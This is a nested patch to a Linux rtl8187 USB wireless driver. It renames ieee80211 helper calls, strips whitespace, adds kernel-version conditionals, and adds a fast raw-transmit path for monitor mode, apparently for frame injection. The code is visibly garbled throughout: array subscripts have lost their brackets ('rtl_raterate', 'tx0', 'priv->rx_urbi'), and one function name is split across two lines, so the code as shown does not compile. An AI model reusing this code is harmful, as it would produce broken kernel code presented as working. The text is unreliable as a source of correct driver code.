+ 	txconf = txconf | (TCR_MXDMA_2048<<TCR_MXDMA_SHIFT);
+-	
++
+ 	txconf = txconf | TCR_CWMIN;
+ 	txconf = txconf | TCR_DISCW;
+ 	txconf = txconf &~ TCR_SWPLCPLEN;
+-	
++
+ 	txconf=txconf | (1<<TX_NOICV_SHIFT);
+-	
++
+ 	write_nic_dword(dev,TX_CONF,txconf);
+-	
++
+ 	// V RTL suggested V //
+ //	write_nic_dword(dev,TX_CONF,0x00e00707);
+ 
+@@ -872,9 +905,9 @@
+ #ifdef DEBUG_TX
+ 	DMESG("txconf: %x %x",txconf,read_nic_dword(dev,TX_CONF));
+ #endif
+-	
++
+ 	cmd=read_nic_byte(dev,CMD);
+-	write_nic_byte(dev,CMD,cmd | (1<<CMD_TX_ENABLE_SHIFT));		
++	write_nic_byte(dev,CMD,cmd | (1<<CMD_TX_ENABLE_SHIFT));
+ 
+ //	mdelay(100);
+ 	//write_nic_dword(dev,TX_CONF,txconf);
+@@ -889,18 +922,18 @@
+ #if 0
+ void rtl8180_beacon_tx_enable(struct net_device *dev)
+ {
+-	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
++	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
+ 	priv->dma_poll_mask &=~(1<<TX_DMA_STOP_BEACON_SHIFT);
+ 	rtl8180_set_mode(dev,EPROM_CMD_CONFIG);
+-	write_nic_byte(dev,TX_DMA_POLLING,priv->dma_poll_mask);	
++	write_nic_byte(dev,TX_DMA_POLLING,priv->dma_poll_mask);
+ 	rtl8180_set_mode(dev,EPROM_CMD_NORMAL);
+ }
+ 
+ 
+ void rtl8180_
+-_disable(struct net_device *dev) 
++_disable(struct net_device *dev)
+ {
+-	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
++	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
+ 	priv->dma_poll_mask |= (1<<TX_DMA_STOP_BEACON_SHIFT);
+ 	rtl8180_set_mode(dev,EPROM_CMD_CONFIG);
+ 	write_nic_byte(dev,TX_DMA_POLLING,priv->dma_poll_mask);
+@@ -914,8 +947,8 @@
+ {
+ 	u8 cmd;
+ 	int i;
+-	struct r8180_priv *priv = ieee80211_priv(dev);
+-	
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
++
+ 	cmd=read_nic_byte(dev,CMD);
+ 	write_nic_byte(dev, CMD, cmd &~ \
+ 		       ((1<<CMD_RX_ENABLE_SHIFT)|(1<<CMD_TX_ENABLE_SHIFT)));
+@@ -926,9 +959,9 @@
+ 		usb_kill_urb(priv->rx_urbi);
+ 	}
+ 	/*while (read_nic_byte(dev,CMD) & (1<<CMD_RX_ENABLE_SHIFT))
+-	  udelay(10); 
++	  udelay(10);
+ 	*/
+-	
++
+ //	if(!priv->rx_skb_complete)
+ //		dev_kfree_skb_any(priv->rx_skb);
+ }
+@@ -939,14 +972,14 @@
+ 	#if 0
+ 	int i;
+ 	u32 *tmp;
+-	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
+-	
++	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
++
+ 	priv->txbeaconring = (u32*)pci_alloc_consistent(priv->pdev,
+-					  sizeof(u32)*8*count, 
++					  sizeof(u32)*8*count,
+ 					  &priv->txbeaconringdma);
+ 	if (!priv->txbeaconring) return -1;
+ 	for (tmp=priv->txbeaconring,i=0;i<count;i++){
+-		*tmp = *tmp &~ (1<<31); // descriptor empty, owned by the drv 
++		*tmp = *tmp &~ (1<<31); // descriptor empty, owned by the drv
+ 		/*
+ 		*(tmp+2) = (u32)dma_tmp;
+ 		*(tmp+3) = bufsize;
+@@ -955,7 +988,7 @@
+ 			*(tmp+4) = (u32)priv->txbeaconringdma+((i+1)*8*4);
+ 		else
+ 			*(tmp+4) = (u32)priv->txbeaconringdma;
+-		
++
+ 		tmp=tmp+8;
+ 	}
+ 	#endif
+@@ -965,15 +998,15 @@
+ 
+ void rtl8180_reset(struct net_device *dev)
+ {
+-	
++
+ 	u8 cr;
+-	
++
+ 	/* make sure the analog power is on before
+ 	 * reset, otherwise reset may fail
+ 	 */
+ 	rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON);
+ 	rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON);
+-	
++
+ 	rtl8180_irq_disable(dev);
+ 
+ 	mdelay(200);
+@@ -981,19 +1014,19 @@
+ 	write_nic_byte_E(dev,0x18,0x11);
+ 	write_nic_byte_E(dev,0x18,0x00);
+ 	mdelay(200);
+-	
++
+ 	cr=read_nic_byte(dev,CMD);
+ 	cr = cr & 2;
+ 	cr = cr | (1<<CMD_RST_SHIFT);
+ 	write_nic_byte(dev,CMD,cr);
+-	
++
+ 	force_pci_posting(dev);
+-	
++
+ 	mdelay(200);
+-	
+-	if(read_nic_byte(dev,CMD) & (1<<CMD_RST_SHIFT)) 
++
++	if(read_nic_byte(dev,CMD) & (1<<CMD_RST_SHIFT))
+ 		DMESGW("Card reset timeout!");
+-	else 
++	else
+ 		DMESG("Card successfully reset");
+ 
+ 	rtl8180_set_mode(dev,EPROM_CMD_LOAD);
+@@ -1005,13 +1038,13 @@
+ 	 */
+ 	rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON);
+ 	rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON);
+-	
++
+ }
+ 
+ inline u16 ieeerate2rtlrate(int rate)
+ {
+ 	switch(rate){
+-	case 10:	
++	case 10:
+ 	return 0;
+ 	case 20:
+ 	return 1;
+@@ -1037,32 +1070,42 @@
+ 	return 11;
+ 	default:
+ 	return 3;
+-	
++
+ 	}
+ }
+ static u16 rtl_rate = {10,20,55,110,60,90,120,180,240,360,480,540};
+ inline u16 rtl8180_rate2rate(short rate)
+ {
+ 	if (rate >11) return 0;
+-	return rtl_raterate; 
++	return rtl_raterate;
++}
++
++inline u8 rtl8180_IsWirelessBMode(u16 rate)
++{
++	if( ((rate <= 110) && (rate != 60) && (rate != 90)) || (rate == 220) )
++		return 1;
++	else return 0;
+ }
+-		
+ 
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
+ void rtl8187_rx_isr(struct urb *rx_urb, struct pt_regs *regs)
++#else
++void rtl8187_rx_isr(struct urb *rx_urb)
++#endif
+ {
+ 	struct net_device *dev = (struct net_device*)rx_urb->context;
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 
+ 	priv->rxurb_task = rx_urb;
+ //	DMESGW("David: Rx tasklet start!");
+-	tasklet_schedule(&priv->irq_rx_tasklet);	
++	tasklet_schedule(&priv->irq_rx_tasklet);
+ //	DMESGW("=David: Rx tasklet finish!");
+ }
+ 
+ #if 0
+ void rtl8180_tx_queues_stop(struct net_device *dev)
+ {
+-	//struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
++	//struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
+ 	u8 dma_poll_mask = (1<<TX_DMA_STOP_LOWPRIORITY_SHIFT);
+ 	dma_poll_mask |= (1<<TX_DMA_STOP_HIPRIORITY_SHIFT);
+ 	dma_poll_mask |= (1<<TX_DMA_STOP_NORMPRIORITY_SHIFT);
+@@ -1078,7 +1121,7 @@
+ {
+ 	//FIXME !!
+ 	#if 0
+-	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
++	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
+ 	priv->dma_poll_mask |= (1<<TX_DMA_STOP_LOWPRIORITY_SHIFT);
+ 	rtl8180_set_mode(dev,EPROM_CMD_CONFIG);
+ 	write_nic_byte(dev,TX_DMA_POLLING,priv->dma_poll_mask);
+@@ -1091,7 +1134,7 @@
+ {
+ 	// FIXME !!
+ 	#if 0
+-	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
++	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
+ 	priv->dma_poll_mask &= ~(1<<TX_DMA_STOP_LOWPRIORITY_SHIFT);
+ 	rtl8180_set_mode(dev,EPROM_CMD_CONFIG);
+ 	write_nic_byte(dev,TX_DMA_POLLING,priv->dma_poll_mask);
+@@ -1105,14 +1148,19 @@
+  */
+ void rtl8180_hard_data_xmit(struct sk_buff *skb, struct net_device *dev, int rate)
+ {
+-	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
+-	
+-	short morefrag = 0;	
++	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
++
++	short morefrag = 0;
+ 	unsigned long flags;
+ 	struct ieee80211_hdr *h = (struct ieee80211_hdr  *) skb->data;
+ 
+-	if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS)
+-		morefrag = 1;
++	if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->ieee80211->raw_tx != 1)
++	{
++		if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS)
++		{
++			morefrag = 1;
++		}
++	}
+ //	DMESG("%x %x", h->frame_ctl, h->seq_ctl);
+ 	/*
+ 	* This function doesn't require lock because we make
+@@ -1121,24 +1169,29 @@
+ 	* the ieee stack, or from the try_wake_queue (again trought
+ 	* the ieee stack.
+ 	*/
+-	spin_lock_irqsave(&priv->tx_lock,flags);	
+-			
+-	//DMESG("TX");
+-	if (!check_nic_enought_desc(dev, LOW_PRIORITY)){
+-		DMESG("Error: no TX slot ");
+-		ieee80211_stop_queue(priv->ieee80211);
+-	}
+-	
+-	rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag,
+-		ieeerate2rtlrate(rate));
+-
+-	priv->stats.txdatapkt++;
+-	
+-	if (!check_nic_enought_desc(dev, LOW_PRIORITY))
+-		ieee80211_stop_queue(priv->ieee80211);
+-		
+-	spin_unlock_irqrestore(&priv->tx_lock,flags);	
+-			
++
++	if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->fasttx == 0)
++	{
++		spin_lock_irqsave(&priv->tx_lock,flags);
++		//DMESG("TX");
++		if (!check_nic_enought_desc(dev, LOW_PRIORITY)){
++			DMESG("Error: no TX slot ");
++			ieee80211_stop_queue_rtl7(priv->ieee80211);
++		}
++		rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag,
++			ieeerate2rtlrate(rate));
++
++		priv->stats.txdatapkt++;
++
++		if (!check_nic_enought_desc(dev, LOW_PRIORITY))
++			ieee80211_stop_queue_rtl7(priv->ieee80211);
++		spin_unlock_irqrestore(&priv->tx_lock,flags);
++	}
++	else
++	{
++		rtl8180_tx_fast(dev, (u32*)skb->data, skb->len, ieeerate2rtlrate(rate));
++	}
++
+ }
+ #if 0
+ /* This is a rough attempt to TX a frame
+@@ -1148,12 +1201,12 @@
+  */
+ int rtl8180_hard_start_xmit(struct sk_buff *skb,struct net_device *dev)
+ {
+-	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
++	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
+ 	int ret;
+ 	unsigned long flags;
+-	
++
+ 	spin_lock_irqsave(&priv->tx_lock,flags);
+-	
++
+ 	ret = rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0,DEFAULT_BASICRATE);
+ /*
+ 	int i;
+@@ -1163,9 +1216,9 @@
+ */
+ 	priv->ieee80211->stats.tx_bytes+=skb->len;
+ 	priv->ieee80211->stats.tx_packets++;
+-	
+-	spin_unlock_irqrestore(&priv->tx_lock,flags);	
+-	
++
++	spin_unlock_irqrestore(&priv->tx_lock,flags);
++
+ 	dev_kfree_skb_any(skb);
+ 	return ret;
+ }
+@@ -1178,7 +1231,7 @@
+ 	u16 duration;
+ 	u16 drift;
+ 	*ext=0;
+-	
++
+ 	switch(rate){
+ 	case 0://1mbps
+ 		*ext=0;
+@@ -1187,7 +1240,7 @@
+ 		if(drift ==0 ) break;
+ 		duration++;
+ 		break;
+-		
++
+ 	case 1://2mbps
+ 		*ext=0;
+ 		duration = ((len+4)<<4) /0x4;
+@@ -1195,40 +1248,44 @@
+ 		if(drift ==0 ) break;
+ 		duration++;
+ 		break;
+-		
++
+ 	case 2: //5.5mbps
+ 		*ext=0;
+ 		duration = ((len+4)<<4) /0xb;
+ 		drift = ((len+4)<<4) % 0xb;
+-		if(drift ==0 ) 
++		if(drift ==0 )
+ 			break;
+ 		duration++;
+ 		break;
+-		
++
+ 	default:
+-	case 3://11mbps				
++	case 3://11mbps
+ 		*ext=0;
+ 		duration = ((len+4)<<4) /0x16;
+ 		drift = ((len+4)<<4) % 0x16;
+-		if(drift ==0 ) 
++		if(drift ==0 )
+ 			break;
+ 		duration++;
+-		if(drift > 6) 
++		if(drift > 6)
+ 			break;
+ 		*ext=1;
+ 		break;
+ 	}
+-	
++
+ 	return duration;
+ }
+ #endif
+ 
+ void rtl8180_try_wake_queue(struct net_device *dev, int pri);
+ 
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
+ void rtl8187_lptx_isr(struct urb *tx_urb, struct pt_regs *regs)
++#else
++void rtl8187_lptx_isr(struct urb *tx_urb)
++#endif
+ {
+ 	struct net_device *dev = (struct net_device*)tx_urb->context;
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 	if(tx_urb->status == 0)
+ 		priv->stats.txlpokint++;
+ 	else
+@@ -1239,6 +1296,15 @@
+ 	rtl8180_try_wake_queue(dev,LOW_PRIORITY);
+ }
+ 
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
++void rtl8187_lptx_isr_fast(struct urb *tx_urb, struct pt_regs *regs)
++#else
++void rtl8187_lptx_isr_fast(struct urb *tx_urb)
++#endif
++{
++	kfree(tx_urb->transfer_buffer);
++	usb_free_urb(tx_urb);
++}
+ 
+ void rtl8187_beacon_stop(struct net_device *dev)
+ {
+@@ -1249,55 +1315,55 @@
+ 	if ((msrm == (MSR_LINK_ADHOC<<MSR_LINK_SHIFT) ||
+ 		(msrm == (MSR_LINK_MASTER<<MSR_LINK_SHIFT)))){
+ 		write_nic_byte(dev, MSR, msr2 | MSR_LINK_NONE);
+-		write_nic_byte(dev, MSR, msr);	
++		write_nic_byte(dev, MSR, msr);
+ 	}
+-	
+-	 
++
++
+ }
+ 
+ 
+ void rtl8187_net_update(struct net_device *dev)
+ {
+ 
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 	struct ieee80211_network *net;
+ 	net = & priv->ieee80211->current_network;
+-	
+-	
++
++
+ 	write_nic_dword(dev,BSSID,((u32*)net->bssid)0);
+ 	write_nic_word(dev,BSSID+4,((u16*)net->bssid)2);
+ 	//for(i=0;i<ETH_ALEN;i++)
+ 	//	write_nic_byte(dev,BSSID+i,net->bssidi);
+ 
+ 	rtl8180_update_msr(dev);
+-		
++
+ //	rtl8180_set_mode(dev,EPROM_CMD_CONFIG);
+ 	write_nic_word(dev, AtimWnd, 2);
+-	write_nic_word(dev, AtimtrItv, 100);	
++	write_nic_word(dev, AtimtrItv, 100);
+ 	write_nic_word(dev, BEACON_INTERVAL, net->beacon_interval);
+ 	write_nic_word(dev, BcnIntTime, 100);
+-	
++
+ 
+ }
+ 
+ void rtl8187_beacon_tx(struct net_device *dev)
+ {
+ 
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 	struct sk_buff *skb;
+ 	int i = 0;
+-	
++
+ 	rtl8187_net_update(dev);
+-	
+-	skb = ieee80211_get_beacon(priv->ieee80211);
+-	
+-	
+-	if(!skb){ 
++
++	skb = ieee80211_get_beacon_rtl7(priv->ieee80211);
++
++
++	if(!skb){
+ 		DMESG("not enought memory for allocating beacon");
+ 		return;
+ 	}
+-	
+-#if 0	
++
++#if 0
+ 	while(MAX_TX_URB!=atomic_read(&priv->tx_np_pending)){
+ 		msleep_interruptible_rtl(HZ/2);
+ 		if(i++ > 20){
+@@ -1307,7 +1373,7 @@
+ 	}
+ #endif
+ 	write_nic_byte(dev, BQREQ, read_nic_byte(dev, BQREQ) | (1<<7));
+-	
++
+ 	i=0;
+ 	//while(!read_nic_byte(dev,BQREQ & (1<<7)))
+ 	while( (read_nic_byte(dev, BQREQ) & (1<<7)) == 0 )
+@@ -1318,31 +1384,38 @@
+ 			return ;
+ 		}
+ 	}
+-		
++
+ 	rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY,
+ 		0, priv->ieee80211->basic_rate);
+-	
++
+ }
+ 
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
+ void rtl8187_nptx_isr(struct urb *tx_urb, struct pt_regs *regs)
++#else
++void rtl8187_nptx_isr(struct urb *tx_urb)
++#endif
+ {
+ 	struct net_device *dev = (struct net_device*)tx_urb->context;
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 	if(tx_urb->status == 0)
+ 		priv->stats.txnpokint++;
+ 	else
+ 		priv->stats.txnperr++;
+ 	kfree(tx_urb->transfer_buffer);
+ 	usb_free_urb(tx_urb);
+-	atomic_dec(&priv->tx_np_pending);
++	if(priv->ieee80211->iw_mode != IW_MODE_MONITOR)
++	{
++		atomic_dec(&priv->tx_np_pending);
++	}
+ 	//rtl8180_try_wake_queue(dev,NORM_PRIORITY);
+ }
+ 
+ 
+-/* This function do the real dirty work: it sends a TX command 
+- * descriptor plus data URB 
++/* This function do the real dirty work: it sends a TX command
++ * descriptor plus data URB
+  */
+- 
++
+ short rtl8180_tx(struct net_device *dev, u32* txbuf, int len, priority_t priority,
+ 		 short morefrag, short rate)
+ {
+@@ -1352,12 +1425,12 @@
+ 	int pend ;
+ 	int status;
+ 	struct urb *tx_urb;
+-	int urb_len;	
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	int urb_len;
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ //	int rate = ieeerate2rtlrate(priv->ieee80211->rate);
+ 
+-	pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending);
+-	/* we are locked here so the two atomic_read and inc are executed without interleaves */
++        pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending);
++        /* we are locked here so the two atomic_read and inc are executed without interleaves */
+ 	if( pend > MAX_TX_URB){
+ 		if(priority == NORM_PRIORITY)
+ 			priv->stats.txnpdrop++;
+@@ -1365,52 +1438,38 @@
+ 			priv->stats.txlpdrop++;
+ 		return -1;
+ 	}
+-		
+-	
++
+ 	//tx = kmalloc((len + 4*3), GFP_ATOMIC);
+ 	urb_len = len + 4*3;
+ 	if((0 == urb_len%64)||(0 == urb_len%512)) {
+-	  urb_len += 1;	  
++	  urb_len += 1;
+ 	}
+ 	tx = kmalloc(urb_len, GFP_ATOMIC);
+ 	if(!tx) return -ENOMEM;
+-	//printk(KERN_WARNING "urb_len = %d\n", urb_len);	
++	//printk(KERN_WARNING "urb_len = %d\n", urb_len);
+ 	tx_urb = usb_alloc_urb(0,GFP_ATOMIC);
+-	
++
+ 	if(!tx_urb){
+-		
++
+ 		kfree(tx);
+ 		return -ENOMEM;
+ 	}
+-	
++
+ 	memcpy(tx+3,txbuf,len);
+ 	tx0 = 0;
+ 	tx0 |= len & 0xfff;
+ 	tx0 |= (1<<15);
+-	
+-//	if(priv->shortpre)
+-//		tx0 |= (1<<16);
+-	
+-	//if(len > priv->rts_threshold){
+-//		tx0 |= (1<<23); //ENABLE RTS
+-//		tx0 |= (1<<18); //ENABLE CTS
+-	//}
++
+ 	if(morefrag) tx0 |= (1<<17);
+ 	tx0 |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */
+ 	tx0 |= (rate << 24);
+ 	tx1 = 0;
+-	
+-//	duration = rtl8180_len2duration(len,
+-//		rate,&ext);	
+-//	tx1 |= (duration & 0x7fff) <<16;
+-//	if(ext) tx1 |= (1<<31);
+ 
+-	
+ //	tx2 = 0x303020;
+ 	tx2 = 3;  // CW min
+ 	tx2 |= (7<<4); //CW max
+ 	tx2 |= (11<<8);//(priv->retry_data<<8); //retry lim
+-	
++
+ //	printk("%x\n%x\n",tx0,tx1);
+ 
+ 	#ifdef DUMP_TX
+@@ -1421,7 +1480,7 @@
+ 	printk("---------------\n");
+ 	#endif
+ 
+-	
++
+ 	/* FIXME check what EP is for low/norm PRI */
+ 	usb_fill_bulk_urb(tx_urb,priv->udev,
+ 		usb_sndbulkpipe(priv->udev,(priority == LOW_PRIORITY) ? 2:3), tx,
+@@ -1438,54 +1497,97 @@
+ 	}
+ }
+ 
+- 
++/* This function do the real dirty work: it sends a TX command
++ * descriptor plus data URB (fast)
++ */
++
++short rtl8180_tx_fast(struct net_device *dev, u32* txbuf, int len, short rate)
++{
++	u32 *tx;
++	int status;
++	struct urb *tx_urb;
++	int urb_len;
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
++
++	urb_len = len + 4*3;
++	if((0 == urb_len%64)||(0 == urb_len%512)) {
++	  urb_len += 1;
++	}
++	tx = kmalloc(urb_len, GFP_ATOMIC);
++	if(!tx) return -ENOMEM;
++
++	tx_urb = usb_alloc_urb(0,GFP_ATOMIC);
++
++	if(!tx_urb){
++		kfree(tx);
++		return -ENOMEM;
++	}
++
++	memcpy(tx+3,txbuf,len);
++	tx0 = (len & 0xfff) + 0x8000;
++	tx0 |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */
++	tx0 |= (rate << 24);
++	tx1 = 0;
++	tx2 = 2931;
++
++	/* FIXME check what EP is for low/norm PRI */
++	usb_fill_bulk_urb(tx_urb,priv->udev,
++		usb_sndbulkpipe(priv->udev, 2), tx, urb_len, rtl8187_lptx_isr_fast, dev);
++	status = usb_submit_urb(tx_urb, GFP_ATOMIC);
++	if (!status){
++		return 0;
++	}else{
++		return -1;
++	}
++}
++
+ 
+ void rtl8180_irq_rx_tasklet(struct r8180_priv * priv);
+ 
+ 
+ short rtl8187_usb_initendpoints(struct net_device *dev)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 	int i;
+-	
++
+ 	priv->rx_urb = (struct urb**) kmalloc (sizeof(struct urb*) * MAX_RX_URB, GFP_KERNEL);
+-	
++
+ 	for(i=0;i<MAX_RX_URB;i++){
+ 		priv->rx_urbi = usb_alloc_urb(0,GFP_KERNEL);
+-		if(!priv->rx_urbi) 
++		if(!priv->rx_urbi)
+ 			goto destroy;
+-		
++
+ 		priv->rx_urbi->transfer_buffer = kmalloc(RX_URB_SIZE, GFP_KERNEL);
+-		if(!priv->rx_urbi->transfer_buffer) 
++		if(!priv->rx_urbi->transfer_buffer)
+ 			goto destroy1;
+-			
++
+ 		priv->rx_urbi->transfer_buffer_length = RX_URB_SIZE;
+ 	}
+-	
++
+ 	return 0;
+-	
++
+ destroy1:
+ 	usb_free_urb(priv->rx_urbi);
+-	
++
+ destroy:
+ 	while (--i >= 0){
+ 		kfree(priv->rx_urbi->transfer_buffer);
+ 		usb_free_urb(priv->rx_urbi);
+ 	}
+-	
++
+ 	kfree(priv->rx_urb);
+-	
++
+ 	priv->rx_urb = NULL;
+ 	DMESGE("Endpoint Alloc Failure");
+ 	return -ENOMEM;
+-		
++
+ }
+ 
+ void rtl8187_usb_deleteendpoints(struct net_device *dev)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 	int i;
+-	
++
+ 	if(priv->rx_urb){
+ 		for(i=0;i<MAX_RX_URB;i++){
+ 			usb_kill_urb(priv->rx_urbi);
+@@ -1494,9 +1596,9 @@
+ 		}
+ 		kfree(priv->rx_urb);
+ 		priv->rx_urb = NULL;
+-		
++
+ 	}
+-	
++
+ }
+ 
+ 
+@@ -1505,16 +1607,16 @@
+ 	int i;
+ 	u16 word;
+ 	int basic_rate,min_rr_rate,max_rr_rate;
+-	
+-//	struct r8180_priv *priv = ieee80211_priv(dev);
+-	
+-	//if (ieee80211_is_54g(priv->ieee80211->current_network) && 
++
++//	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
++
++	//if (ieee80211_is_54g_rtl7(priv->ieee80211->current_network) &&
+ //		priv->ieee80211->state == IEEE80211_LINKED){
+ 	basic_rate = ieeerate2rtlrate(240);
+ 	min_rr_rate = ieeerate2rtlrate(60);
+ 	max_rr_rate = ieeerate2rtlrate(240);
+-	
+-//	
++
++//
+ //	}else{
+ //		basic_rate = ieeerate2rtlrate(20);
+ //		min_rr_rate = ieeerate2rtlrate(10);
+@@ -1526,21 +1628,21 @@
+ 
+ 	word  = read_nic_word(dev, BRSR);
+ 	word &= ~BRSR_MBR_8185;
+-		
++
+ 
+ 	for(i=0;i<=basic_rate;i++)
+ 		word |= (1<<i);
+ 
+ 	write_nic_word(dev, BRSR, word);
+-	//DMESG("RR:%x BRSR: %x", read_nic_byte(dev,RESP_RATE), read_nic_word(dev,BRSR));
++	DMESG("RR:%x BRSR: %x", read_nic_byte(dev,RESP_RATE), read_nic_word(dev,BRSR));
+ }
+ 
+ 
+ void rtl8187_link_change(struct net_device *dev)
+ {
+ //	int i;
+-	
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 	//write_nic_word(dev, BintrItv, net->beacon_interval);
+ 	rtl8187_net_update(dev);
+ 	/*update timing params*/
+@@ -1553,24 +1655,24 @@
+ 
+ short rtl8180_init(struct net_device *dev)
+ {
+-		
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 	int i, j;
+ 	u16 word;
+-	int ch;
++	int ch, chans;
+ 	//u16 version;
+-	//u8 hw_version;
+-	//u8 config3;
+-	
++	u8 hw_version;
++	u8 config3;
++
+ 	//FIXME: these constants are placed in a bad pleace.
+ 
+ //	priv->txbuffsize = 1024;
+ //	priv->txringcount = 32;
+ //	priv->rxbuffersize = 1024;
+-//	priv->rxringcount = 32; 
++//	priv->rxringcount = 32;
+ //	priv->txbeaconcount = 3;
+ //	priv->rx_skb_complete = 1;
+-	//priv->txnp_pending.ispending=0; 
++	//priv->txnp_pending.ispending=0;
+ 	/* ^^ the SKB does not containt a partial RXed
+ 	 * packet (is empty)
+ 	 */
+@@ -1580,15 +1682,24 @@
+ 		return -1;
+ 	}
+ 	ch=channels;
++	chans=0;
++	for (i=1; i<=14; i++) {
++		if( (u8)(ch & 0x01) ) chans++;
++		ch >>= 1;
++	}
++	DMESG("Enabling %d channels.", chans);
++	ch=channels;
+ 	 // set channels 1..14 allowed in given locale
+ 	for (i=1; i<=14; i++) {
+ 		(priv->ieee80211->channel_map)i = (u8)(ch & 0x01);
+ 		ch >>= 1;
+ 	}
+ 	//memcpy(priv->stats,0,sizeof(struct Stats));
+-	
++
+ 	//priv->irq_enabled=0;
+-	
++
++	priv->dev = dev;
++
+ //	priv->stats.rxdmafail=0;
+ 	priv->stats.txrdu=0;
+ //	priv->stats.rxrdu=0;
+@@ -1612,33 +1723,37 @@
+ //	priv->stats.txbeaconerr=0;
+ 	priv->stats.txlperr=0;
+ 	priv->stats.txlpokint=0;
+-	
++
+ 	priv->ieee80211->iw_mode = IW_MODE_INFRA;
+-	
++
+ 	priv->retry_rts = DEFAULT_RETRY_RTS;
+ 	priv->retry_data = DEFAULT_RETRY_DATA;
+ 	priv->ieee80211->rate = 110; //11 mbps
+ 	priv->ieee80211->short_slot = 1;
+-	priv->ieee80211->mode = IEEE_G;
++	priv->ieee80211->mode = IEEE_G|IEEE_B;
+ 	priv->promisc = (dev->flags & IFF_PROMISC) ? 1:0;
+ 	spin_lock_init(&priv->tx_lock);
++#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20)
+ 	INIT_WORK(&priv->reset_wq,(void(*)(void*)) rtl8180_restart,dev);
++#else
++	INIT_WORK(&priv->reset_wq, rtl8180_restart);
++#endif
+ 	sema_init(&priv->wx_sem,1);
+ 	tasklet_init(&priv->irq_rx_tasklet,
+ 		     (void(*)(unsigned long))rtl8180_irq_rx_tasklet,
+ 		     (unsigned long)priv);
+ 
+-	//priv->ieee80211->func = 
++	//priv->ieee80211->func =
+ 	//	kmalloc(sizeof(struct ieee80211_helper_functions),GFP_KERNEL);
+ 	//memset(priv->ieee80211->func, 0,
+ 	  //     sizeof(struct ieee80211_helper_functions));
+-	priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL;	
++	priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL;
+ 	priv->ieee80211->iw_mode = IW_MODE_INFRA;
+-	priv->ieee80211->softmac_features  = IEEE_SOFTMAC_SCAN | 
+-		IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | 
++	priv->ieee80211->softmac_features  = IEEE_SOFTMAC_SCAN |
++		IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ |
+ 		IEEE_SOFTMAC_PROBERS | IEEE_SOFTMAC_TX_QUEUE |
+ 		/*IEEE_SOFTMAC_BEACONS | */IEEE_SOFTMAC_SINGLE_QUEUE;
+-	
++
+ 	priv->ieee80211->active_scan = 1;
+ 	priv->ieee80211->rate = 110; //11 mbps
